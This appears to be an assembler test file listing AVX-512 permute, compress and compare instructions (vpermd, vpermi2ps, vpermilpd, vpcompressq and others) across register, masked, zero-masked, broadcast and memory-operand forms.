vpcmpuq k3{k5}, zmm24, [rbx], 10
vpcmpuq k3{k5}, zmm24, [rbx]{1to8}, 10
vpcmpuq k3{k5}, zmm24, [rbx+r11*8+256], 10
vpcmpuq k3{k5}, zmm24, [rbx+r11*8-256], 10
vpcompressd xmm0, xmm2
vpcompressd ymm15, ymm16
vpcompressd zmm31, zmm24
vpcompressd [rbx], xmm2
vpcompressd [rbx], ymm16
vpcompressd [rbx], zmm24
vpcompressd [rbx+r11*8+256], xmm2
vpcompressd [rbx+r11*8+256], ymm16
vpcompressd [rbx+r11*8+256], zmm24
vpcompressd [rbx+r11*8-256], xmm2
vpcompressd [rbx+r11*8-256], ymm16
vpcompressd [rbx+r11*8-256], zmm24
vpcompressq xmm0, xmm2
vpcompressq ymm15, ymm16
vpcompressq zmm31, zmm24
vpcompressq [rbx], xmm2
vpcompressq [rbx], ymm16
vpcompressq [rbx], zmm24
vpcompressq [rbx+r11*8+256], xmm2
vpcompressq [rbx+r11*8+256], ymm16
vpcompressq [rbx+r11*8+256], zmm24
vpcompressq [rbx+r11*8-256], xmm2
vpcompressq [rbx+r11*8-256], ymm16
vpcompressq [rbx+r11*8-256], zmm24
vpermd ymm16, ymm13, ymm15
vpermd ymm16, ymm13, [rbx]
vpermd ymm16, ymm13, [rbx]{1to8}
vpermd ymm16, ymm13, [rbx+r11*8+256]
vpermd ymm16, ymm13, [rbx+r11*8-256]
vpermd ymm16{k5}, ymm13, ymm15
vpermd ymm16{k5}, ymm13, [rbx]
vpermd ymm16{k5}, ymm13, [rbx]{1to8}
vpermd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermd ymm16{k5}{z}, ymm13, ymm15
vpermd ymm16{k5}{z}, ymm13, [rbx]
vpermd ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermd zmm24, zmm24, zmm31
vpermd zmm24, zmm24, [rbx]
vpermd zmm24, zmm24, [rbx]{1to16}
vpermd zmm24, zmm24, [rbx+r11*8+256]
vpermd zmm24, zmm24, [rbx+r11*8-256]
vpermd zmm24{k5}, zmm24, zmm31
vpermd zmm24{k5}, zmm24, [rbx]
vpermd zmm24{k5}, zmm24, [rbx]{1to16}
vpermd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermd zmm24{k5}{z}, zmm24, zmm31
vpermd zmm24{k5}{z}, zmm24, [rbx]
vpermd zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermi2d xmm2, xmm7, xmm0
vpermi2d xmm2, xmm7, [rbx]
vpermi2d xmm2, xmm7, [rbx]{1to4}
vpermi2d xmm2, xmm7, [rbx+r11*8+256]
vpermi2d xmm2, xmm7, [rbx+r11*8-256]
vpermi2d xmm2{k5}, xmm7, xmm0
vpermi2d xmm2{k5}, xmm7, [rbx]
vpermi2d xmm2{k5}, xmm7, [rbx]{1to4}
vpermi2d xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermi2d xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermi2d xmm2{k5}{z}, xmm7, xmm0
vpermi2d xmm2{k5}{z}, xmm7, [rbx]
vpermi2d xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpermi2d xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermi2d xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermi2d ymm16, ymm13, ymm15
vpermi2d ymm16, ymm13, [rbx]
vpermi2d ymm16, ymm13, [rbx]{1to8}
vpermi2d ymm16, ymm13, [rbx+r11*8+256]
vpermi2d ymm16, ymm13, [rbx+r11*8-256]
vpermi2d ymm16{k5}, ymm13, ymm15
vpermi2d ymm16{k5}, ymm13, [rbx]
vpermi2d ymm16{k5}, ymm13, [rbx]{1to8}
vpermi2d ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermi2d ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermi2d ymm16{k5}{z}, ymm13, ymm15
vpermi2d ymm16{k5}{z}, ymm13, [rbx]
vpermi2d ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermi2d ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermi2d ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermi2d zmm24, zmm24, zmm31
vpermi2d zmm24, zmm24, [rbx]
vpermi2d zmm24, zmm24, [rbx]{1to16}
vpermi2d zmm24, zmm24, [rbx+r11*8+256]
vpermi2d zmm24, zmm24, [rbx+r11*8-256]
vpermi2d zmm24{k5}, zmm24, zmm31
vpermi2d zmm24{k5}, zmm24, [rbx]
vpermi2d zmm24{k5}, zmm24, [rbx]{1to16}
vpermi2d zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermi2d zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermi2d zmm24{k5}{z}, zmm24, zmm31
vpermi2d zmm24{k5}{z}, zmm24, [rbx]
vpermi2d zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermi2d zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermi2d zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermi2pd xmm2, xmm7, xmm0
vpermi2pd xmm2, xmm7, [rbx]
vpermi2pd xmm2, xmm7, [rbx]{1to2}
vpermi2pd xmm2, xmm7, [rbx+r11*8+256]
vpermi2pd xmm2, xmm7, [rbx+r11*8-256]
vpermi2pd xmm2{k5}, xmm7, xmm0
vpermi2pd xmm2{k5}, xmm7, [rbx]
vpermi2pd xmm2{k5}, xmm7, [rbx]{1to2}
vpermi2pd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermi2pd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermi2pd xmm2{k5}{z}, xmm7, xmm0
vpermi2pd xmm2{k5}{z}, xmm7, [rbx]
vpermi2pd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpermi2pd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermi2pd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermi2pd ymm16, ymm13, ymm15
vpermi2pd ymm16, ymm13, [rbx]
vpermi2pd ymm16, ymm13, [rbx]{1to4}
vpermi2pd ymm16, ymm13, [rbx+r11*8+256]
vpermi2pd ymm16, ymm13, [rbx+r11*8-256]
vpermi2pd ymm16{k5}, ymm13, ymm15
vpermi2pd ymm16{k5}, ymm13, [rbx]
vpermi2pd ymm16{k5}, ymm13, [rbx]{1to4}
vpermi2pd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermi2pd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermi2pd ymm16{k5}{z}, ymm13, ymm15
vpermi2pd ymm16{k5}{z}, ymm13, [rbx]
vpermi2pd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermi2pd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermi2pd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermi2pd zmm24, zmm24, zmm31
vpermi2pd zmm24, zmm24, [rbx]
vpermi2pd zmm24, zmm24, [rbx]{1to8}
vpermi2pd zmm24, zmm24, [rbx+r11*8+256]
vpermi2pd zmm24, zmm24, [rbx+r11*8-256]
vpermi2pd zmm24{k5}, zmm24, zmm31
vpermi2pd zmm24{k5}, zmm24, [rbx]
vpermi2pd zmm24{k5}, zmm24, [rbx]{1to8}
vpermi2pd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermi2pd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermi2pd zmm24{k5}{z}, zmm24, zmm31
vpermi2pd zmm24{k5}{z}, zmm24, [rbx]
vpermi2pd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermi2pd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermi2pd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermi2ps xmm2, xmm7, xmm0
vpermi2ps xmm2, xmm7, [rbx]
vpermi2ps xmm2, xmm7, [rbx]{1to4}
vpermi2ps xmm2, xmm7, [rbx+r11*8+256]
vpermi2ps xmm2, xmm7, [rbx+r11*8-256]
vpermi2ps xmm2{k5}, xmm7, xmm0
vpermi2ps xmm2{k5}, xmm7, [rbx]
vpermi2ps xmm2{k5}, xmm7, [rbx]{1to4}
vpermi2ps xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermi2ps xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermi2ps xmm2{k5}{z}, xmm7, xmm0
vpermi2ps xmm2{k5}{z}, xmm7, [rbx]
vpermi2ps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpermi2ps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermi2ps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermi2ps ymm16, ymm13, ymm15
vpermi2ps ymm16, ymm13, [rbx]
vpermi2ps ymm16, ymm13, [rbx]{1to8}
vpermi2ps ymm16, ymm13, [rbx+r11*8+256]
vpermi2ps ymm16, ymm13, [rbx+r11*8-256]
vpermi2ps ymm16{k5}, ymm13, ymm15
vpermi2ps ymm16{k5}, ymm13, [rbx]
vpermi2ps ymm16{k5}, ymm13, [rbx]{1to8}
vpermi2ps ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermi2ps ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermi2ps ymm16{k5}{z}, ymm13, ymm15
vpermi2ps ymm16{k5}{z}, ymm13, [rbx]
vpermi2ps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermi2ps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermi2ps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermi2ps zmm24, zmm24, zmm31
vpermi2ps zmm24, zmm24, [rbx]
vpermi2ps zmm24, zmm24, [rbx]{1to16}
vpermi2ps zmm24, zmm24, [rbx+r11*8+256]
vpermi2ps zmm24, zmm24, [rbx+r11*8-256]
vpermi2ps zmm24{k5}, zmm24, zmm31
vpermi2ps zmm24{k5}, zmm24, [rbx]
vpermi2ps zmm24{k5}, zmm24, [rbx]{1to16}
vpermi2ps zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermi2ps zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermi2ps zmm24{k5}{z}, zmm24, zmm31
vpermi2ps zmm24{k5}{z}, zmm24, [rbx]
vpermi2ps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermi2ps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermi2ps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermi2q xmm2, xmm7, xmm0
vpermi2q xmm2, xmm7, [rbx]
vpermi2q xmm2, xmm7, [rbx]{1to2}
vpermi2q xmm2, xmm7, [rbx+r11*8+256]
vpermi2q xmm2, xmm7, [rbx+r11*8-256]
vpermi2q xmm2{k5}, xmm7, xmm0
vpermi2q xmm2{k5}, xmm7, [rbx]
vpermi2q xmm2{k5}, xmm7, [rbx]{1to2}
vpermi2q xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermi2q xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermi2q xmm2{k5}{z}, xmm7, xmm0
vpermi2q xmm2{k5}{z}, xmm7, [rbx]
vpermi2q xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpermi2q xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermi2q xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermi2q ymm16, ymm13, ymm15
vpermi2q ymm16, ymm13, [rbx]
vpermi2q ymm16, ymm13, [rbx]{1to4}
vpermi2q ymm16, ymm13, [rbx+r11*8+256]
vpermi2q ymm16, ymm13, [rbx+r11*8-256]
vpermi2q ymm16{k5}, ymm13, ymm15
vpermi2q ymm16{k5}, ymm13, [rbx]
vpermi2q ymm16{k5}, ymm13, [rbx]{1to4}
vpermi2q ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermi2q ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermi2q ymm16{k5}{z}, ymm13, ymm15
vpermi2q ymm16{k5}{z}, ymm13, [rbx]
vpermi2q ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermi2q ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermi2q ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermi2q zmm24, zmm24, zmm31
vpermi2q zmm24, zmm24, [rbx]
vpermi2q zmm24, zmm24, [rbx]{1to8}
vpermi2q zmm24, zmm24, [rbx+r11*8+256]
vpermi2q zmm24, zmm24, [rbx+r11*8-256]
vpermi2q zmm24{k5}, zmm24, zmm31
vpermi2q zmm24{k5}, zmm24, [rbx]
vpermi2q zmm24{k5}, zmm24, [rbx]{1to8}
vpermi2q zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermi2q zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermi2q zmm24{k5}{z}, zmm24, zmm31
vpermi2q zmm24{k5}{z}, zmm24, [rbx]
vpermi2q zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermi2q zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermi2q zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermilpd xmm2, xmm7, xmm0
vpermilpd xmm2, xmm7, [rbx]
vpermilpd xmm2, xmm7, [rbx]{1to2}
vpermilpd xmm2, xmm7, [rbx+r11*8+256]
vpermilpd xmm2, xmm7, [rbx+r11*8-256]
vpermilpd xmm2{k5}, xmm7, xmm0
vpermilpd xmm2{k5}, xmm7, [rbx]
vpermilpd xmm2{k5}, xmm7, [rbx]{1to2}
vpermilpd xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermilpd xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermilpd xmm2{k5}{z}, xmm7, xmm0
vpermilpd xmm2{k5}{z}, xmm7, [rbx]
vpermilpd xmm2{k5}{z}, xmm7, [rbx]{1to2}
vpermilpd xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermilpd xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermilpd ymm16, ymm13, ymm15
vpermilpd ymm16, ymm13, [rbx]
vpermilpd ymm16, ymm13, [rbx]{1to4}
vpermilpd ymm16, ymm13, [rbx+r11*8+256]
vpermilpd ymm16, ymm13, [rbx+r11*8-256]
vpermilpd ymm16{k5}, ymm13, ymm15
vpermilpd ymm16{k5}, ymm13, [rbx]
vpermilpd ymm16{k5}, ymm13, [rbx]{1to4}
vpermilpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermilpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermilpd ymm16{k5}{z}, ymm13, ymm15
vpermilpd ymm16{k5}{z}, ymm13, [rbx]
vpermilpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermilpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermilpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermilpd zmm24, zmm24, zmm31
vpermilpd zmm24, zmm24, [rbx]
vpermilpd zmm24, zmm24, [rbx]{1to8}
vpermilpd zmm24, zmm24, [rbx+r11*8+256]
vpermilpd zmm24, zmm24, [rbx+r11*8-256]
vpermilpd zmm24{k5}, zmm24, zmm31
vpermilpd zmm24{k5}, zmm24, [rbx]
vpermilpd zmm24{k5}, zmm24, [rbx]{1to8}
vpermilpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermilpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermilpd zmm24{k5}{z}, zmm24, zmm31
vpermilpd zmm24{k5}{z}, zmm24, [rbx]
vpermilpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermilpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermilpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermilpd xmm2, xmm0, 10
vpermilpd xmm2, [rbx], 10
vpermilpd xmm2, [rbx]{1to2}, 10
vpermilpd xmm2, [rbx+r11*8+256], 10
vpermilpd xmm2, [rbx+r11*8-256], 10
vpermilpd xmm2{k5}, xmm0, 10
vpermilpd xmm2{k5}, [rbx], 10
vpermilpd xmm2{k5}, [rbx]{1to2}, 10
vpermilpd xmm2{k5}, [rbx+r11*8+256], 10
vpermilpd xmm2{k5}, [rbx+r11*8-256], 10
vpermilpd xmm2{k5}{z}, xmm0, 10
vpermilpd xmm2{k5}{z}, [rbx], 10
vpermilpd xmm2{k5}{z}, [rbx]{1to2}, 10
vpermilpd xmm2{k5}{z}, [rbx+r11*8+256], 10
vpermilpd xmm2{k5}{z}, [rbx+r11*8-256], 10
vpermilpd ymm16, ymm15, 10
vpermilpd ymm16, [rbx], 10
vpermilpd ymm16, [rbx]{1to4}, 10
vpermilpd ymm16, [rbx+r11*8+256], 10
vpermilpd ymm16, [rbx+r11*8-256], 10
vpermilpd ymm16{k5}, ymm15, 10
vpermilpd ymm16{k5}, [rbx], 10
vpermilpd ymm16{k5}, [rbx]{1to4}, 10
vpermilpd ymm16{k5}, [rbx+r11*8+256], 10
vpermilpd ymm16{k5}, [rbx+r11*8-256], 10
vpermilpd ymm16{k5}{z}, ymm15, 10
vpermilpd ymm16{k5}{z}, [rbx], 10
vpermilpd ymm16{k5}{z}, [rbx]{1to4}, 10
vpermilpd ymm16{k5}{z}, [rbx+r11*8+256], 10
vpermilpd ymm16{k5}{z}, [rbx+r11*8-256], 10
vpermilpd zmm24, zmm31, 10
vpermilpd zmm24, [rbx], 10
vpermilpd zmm24, [rbx]{1to8}, 10
vpermilpd zmm24, [rbx+r11*8+256], 10
vpermilpd zmm24, [rbx+r11*8-256], 10
vpermilpd zmm24{k5}, zmm31, 10
vpermilpd zmm24{k5}, [rbx], 10
vpermilpd zmm24{k5}, [rbx]{1to8}, 10
vpermilpd zmm24{k5}, [rbx+r11*8+256], 10
vpermilpd zmm24{k5}, [rbx+r11*8-256], 10
vpermilpd zmm24{k5}{z}, zmm31, 10
vpermilpd zmm24{k5}{z}, [rbx], 10
vpermilpd zmm24{k5}{z}, [rbx]{1to8}, 10
vpermilpd zmm24{k5}{z}, [rbx+r11*8+256], 10
vpermilpd zmm24{k5}{z}, [rbx+r11*8-256], 10
vpermilps xmm2, xmm7, xmm0
vpermilps xmm2, xmm7, [rbx]
vpermilps xmm2, xmm7, [rbx]{1to4}
vpermilps xmm2, xmm7, [rbx+r11*8+256]
vpermilps xmm2, xmm7, [rbx+r11*8-256]
vpermilps xmm2{k5}, xmm7, xmm0
vpermilps xmm2{k5}, xmm7, [rbx]
vpermilps xmm2{k5}, xmm7, [rbx]{1to4}
vpermilps xmm2{k5}, xmm7, [rbx+r11*8+256]
vpermilps xmm2{k5}, xmm7, [rbx+r11*8-256]
vpermilps xmm2{k5}{z}, xmm7, xmm0
vpermilps xmm2{k5}{z}, xmm7, [rbx]
vpermilps xmm2{k5}{z}, xmm7, [rbx]{1to4}
vpermilps xmm2{k5}{z}, xmm7, [rbx+r11*8+256]
vpermilps xmm2{k5}{z}, xmm7, [rbx+r11*8-256]
vpermilps ymm16, ymm13, ymm15
vpermilps ymm16, ymm13, [rbx]
vpermilps ymm16, ymm13, [rbx]{1to8}
vpermilps ymm16, ymm13, [rbx+r11*8+256]
vpermilps ymm16, ymm13, [rbx+r11*8-256]
vpermilps ymm16{k5}, ymm13, ymm15
vpermilps ymm16{k5}, ymm13, [rbx]
vpermilps ymm16{k5}, ymm13, [rbx]{1to8}
vpermilps ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermilps ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermilps ymm16{k5}{z}, ymm13, ymm15
vpermilps ymm16{k5}{z}, ymm13, [rbx]
vpermilps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermilps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermilps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermilps zmm24, zmm24, zmm31
vpermilps zmm24, zmm24, [rbx]
vpermilps zmm24, zmm24, [rbx]{1to16}
vpermilps zmm24, zmm24, [rbx+r11*8+256]
vpermilps zmm24, zmm24, [rbx+r11*8-256]
vpermilps zmm24{k5}, zmm24, zmm31
vpermilps zmm24{k5}, zmm24, [rbx]
vpermilps zmm24{k5}, zmm24, [rbx]{1to16}
vpermilps zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermilps zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermilps zmm24{k5}{z}, zmm24, zmm31
vpermilps zmm24{k5}{z}, zmm24, [rbx]
vpermilps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermilps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermilps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermilps xmm2, xmm0, 10
vpermilps xmm2, [rbx], 10
vpermilps xmm2, [rbx]{1to4}, 10
vpermilps xmm2, [rbx+r11*8+256], 10
vpermilps xmm2, [rbx+r11*8-256], 10
vpermilps xmm2{k5}, xmm0, 10
vpermilps xmm2{k5}, [rbx], 10
vpermilps xmm2{k5}, [rbx]{1to4}, 10
vpermilps xmm2{k5}, [rbx+r11*8+256], 10
vpermilps xmm2{k5}, [rbx+r11*8-256], 10
vpermilps xmm2{k5}{z}, xmm0, 10
vpermilps xmm2{k5}{z}, [rbx], 10
vpermilps xmm2{k5}{z}, [rbx]{1to4}, 10
vpermilps xmm2{k5}{z}, [rbx+r11*8+256], 10
vpermilps xmm2{k5}{z}, [rbx+r11*8-256], 10
vpermilps ymm16, ymm15, 10
vpermilps ymm16, [rbx], 10
vpermilps ymm16, [rbx]{1to8}, 10
vpermilps ymm16, [rbx+r11*8+256], 10
vpermilps ymm16, [rbx+r11*8-256], 10
vpermilps ymm16{k5}, ymm15, 10
vpermilps ymm16{k5}, [rbx], 10
vpermilps ymm16{k5}, [rbx]{1to8}, 10
vpermilps ymm16{k5}, [rbx+r11*8+256], 10
vpermilps ymm16{k5}, [rbx+r11*8-256], 10
vpermilps ymm16{k5}{z}, ymm15, 10
vpermilps ymm16{k5}{z}, [rbx], 10
vpermilps ymm16{k5}{z}, [rbx]{1to8}, 10
vpermilps ymm16{k5}{z}, [rbx+r11*8+256], 10
vpermilps ymm16{k5}{z}, [rbx+r11*8-256], 10
vpermilps zmm24, zmm31, 10
vpermilps zmm24, [rbx], 10
vpermilps zmm24, [rbx]{1to16}, 10
vpermilps zmm24, [rbx+r11*8+256], 10
vpermilps zmm24, [rbx+r11*8-256], 10
vpermilps zmm24{k5}, zmm31, 10
vpermilps zmm24{k5}, [rbx], 10
vpermilps zmm24{k5}, [rbx]{1to16}, 10
vpermilps zmm24{k5}, [rbx+r11*8+256], 10
vpermilps zmm24{k5}, [rbx+r11*8-256], 10
vpermilps zmm24{k5}{z}, zmm31, 10
vpermilps zmm24{k5}{z}, [rbx], 10
vpermilps zmm24{k5}{z}, [rbx]{1to16}, 10
vpermilps zmm24{k5}{z}, [rbx+r11*8+256], 10
vpermilps zmm24{k5}{z}, [rbx+r11*8-256], 10
vpermpd ymm16, ymm13, ymm15
vpermpd ymm16, ymm13, [rbx]
vpermpd ymm16, ymm13, [rbx]{1to4}
vpermpd ymm16, ymm13, [rbx+r11*8+256]
vpermpd ymm16, ymm13, [rbx+r11*8-256]
vpermpd ymm16{k5}, ymm13, ymm15
vpermpd ymm16{k5}, ymm13, [rbx]
vpermpd ymm16{k5}, ymm13, [rbx]{1to4}
vpermpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermpd ymm16{k5}{z}, ymm13, ymm15
vpermpd ymm16{k5}{z}, ymm13, [rbx]
vpermpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermpd zmm24, zmm24, zmm31
vpermpd zmm24, zmm24, [rbx]
vpermpd zmm24, zmm24, [rbx]{1to8}
vpermpd zmm24, zmm24, [rbx+r11*8+256]
vpermpd zmm24, zmm24, [rbx+r11*8-256]
vpermpd zmm24{k5}, zmm24, zmm31
vpermpd zmm24{k5}, zmm24, [rbx]
vpermpd zmm24{k5}, zmm24, [rbx]{1to8}
vpermpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermpd zmm24{k5}{z}, zmm24, zmm31
vpermpd zmm24{k5}{z}, zmm24, [rbx]
vpermpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermpd ymm16, ymm13, ymm15
vpermpd ymm16, ymm13, [rbx]
vpermpd ymm16, ymm13, [rbx]{1to4}
vpermpd ymm16, ymm13, [rbx+r11*8+256]
vpermpd ymm16, ymm13, [rbx+r11*8-256]
vpermpd ymm16{k5}, ymm13, ymm15
vpermpd ymm16{k5}, ymm13, [rbx]
vpermpd ymm16{k5}, ymm13, [rbx]{1to4}
vpermpd ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermpd ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermpd ymm16{k5}{z}, ymm13, ymm15
vpermpd ymm16{k5}{z}, ymm13, [rbx]
vpermpd ymm16{k5}{z}, ymm13, [rbx]{1to4}
vpermpd ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermpd ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermpd zmm24, zmm24, zmm31
vpermpd zmm24, zmm24, [rbx]
vpermpd zmm24, zmm24, [rbx]{1to8}
vpermpd zmm24, zmm24, [rbx+r11*8+256]
vpermpd zmm24, zmm24, [rbx+r11*8-256]
vpermpd zmm24{k5}, zmm24, zmm31
vpermpd zmm24{k5}, zmm24, [rbx]
vpermpd zmm24{k5}, zmm24, [rbx]{1to8}
vpermpd zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermpd zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermpd zmm24{k5}{z}, zmm24, zmm31
vpermpd zmm24{k5}{z}, zmm24, [rbx]
vpermpd zmm24{k5}{z}, zmm24, [rbx]{1to8}
vpermpd zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermpd zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
vpermpd ymm16, ymm15, 10
vpermpd ymm16, [rbx], 10
vpermpd ymm16, [rbx]{1to4}, 10
vpermpd ymm16, [rbx+r11*8+256], 10
vpermpd ymm16, [rbx+r11*8-256], 10
vpermpd ymm16{k5}, ymm15, 10
vpermpd ymm16{k5}, [rbx], 10
vpermpd ymm16{k5}, [rbx]{1to4}, 10
vpermpd ymm16{k5}, [rbx+r11*8+256], 10
vpermpd ymm16{k5}, [rbx+r11*8-256], 10
vpermpd ymm16{k5}{z}, ymm15, 10
vpermpd ymm16{k5}{z}, [rbx], 10
vpermpd ymm16{k5}{z}, [rbx]{1to4}, 10
vpermpd ymm16{k5}{z}, [rbx+r11*8+256], 10
vpermpd ymm16{k5}{z}, [rbx+r11*8-256], 10
vpermpd zmm24, zmm31, 10
vpermpd zmm24, [rbx], 10
vpermpd zmm24, [rbx]{1to8}, 10
vpermpd zmm24, [rbx+r11*8+256], 10
vpermpd zmm24, [rbx+r11*8-256], 10
vpermpd zmm24{k5}, zmm31, 10
vpermpd zmm24{k5}, [rbx], 10
vpermpd zmm24{k5}, [rbx]{1to8}, 10
vpermpd zmm24{k5}, [rbx+r11*8+256], 10
vpermpd zmm24{k5}, [rbx+r11*8-256], 10
vpermpd zmm24{k5}{z}, zmm31, 10
vpermpd zmm24{k5}{z}, [rbx], 10
vpermpd zmm24{k5}{z}, [rbx]{1to8}, 10
vpermpd zmm24{k5}{z}, [rbx+r11*8+256], 10
vpermpd zmm24{k5}{z}, [rbx+r11*8-256], 10
vpermps ymm16, ymm13, ymm15
vpermps ymm16, ymm13, [rbx]
vpermps ymm16, ymm13, [rbx]{1to8}
vpermps ymm16, ymm13, [rbx+r11*8+256]
vpermps ymm16, ymm13, [rbx+r11*8-256]
vpermps ymm16{k5}, ymm13, ymm15
vpermps ymm16{k5}, ymm13, [rbx]
vpermps ymm16{k5}, ymm13, [rbx]{1to8}
vpermps ymm16{k5}, ymm13, [rbx+r11*8+256]
vpermps ymm16{k5}, ymm13, [rbx+r11*8-256]
vpermps ymm16{k5}{z}, ymm13, ymm15
vpermps ymm16{k5}{z}, ymm13, [rbx]
vpermps ymm16{k5}{z}, ymm13, [rbx]{1to8}
vpermps ymm16{k5}{z}, ymm13, [rbx+r11*8+256]
vpermps ymm16{k5}{z}, ymm13, [rbx+r11*8-256]
vpermps zmm24, zmm24, zmm31
vpermps zmm24, zmm24, [rbx]
vpermps zmm24, zmm24, [rbx]{1to16}
vpermps zmm24, zmm24, [rbx+r11*8+256]
vpermps zmm24, zmm24, [rbx+r11*8-256]
vpermps zmm24{k5}, zmm24, zmm31
vpermps zmm24{k5}, zmm24, [rbx]
vpermps zmm24{k5}, zmm24, [rbx]{1to16}
vpermps zmm24{k5}, zmm24, [rbx+r11*8+256]
vpermps zmm24{k5}, zmm24, [rbx+r11*8-256]
vpermps zmm24{k5}{z}, zmm24, zmm31
vpermps zmm24{k5}{z}, zmm24, [rbx]
vpermps zmm24{k5}{z}, zmm24, [rbx]{1to16}
vpermps zmm24{k5}{z}, zmm24, [rbx+r11*8+256]
vpermps zmm24{k5}{z}, zmm24, [rbx+r11*8-256]
